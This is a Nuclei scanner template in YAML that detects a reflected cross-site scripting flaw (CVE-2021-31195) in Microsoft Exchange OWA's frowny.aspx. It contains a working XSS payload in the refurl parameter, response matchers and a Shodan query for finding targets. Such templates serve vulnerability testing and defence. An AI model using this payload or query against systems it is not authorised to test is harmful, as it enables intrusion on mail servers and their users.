48 lines
1.4 KiB
YAML
48 lines
1.4 KiB
YAML
id: CVE-2021-31195
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info:
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name: Microsoft Exchange Server - Cross-Site Scripting
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author: infosecsanyam
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severity: high
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description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
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reference:
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- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
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- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-31195
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cwe-id: CWE-79
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epss-score: 0.96
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cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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metadata:
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max-request: 1
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shodan-query: http.title:"Outlook"
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vendor: microsoft
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product: exchange_server
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tags: microsoft,exchange,owa,xss
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http:
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- method: GET
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path:
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- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'alert(document.domain)//&et=ServerError'
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- 'mail/bootr.ashx'
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 500
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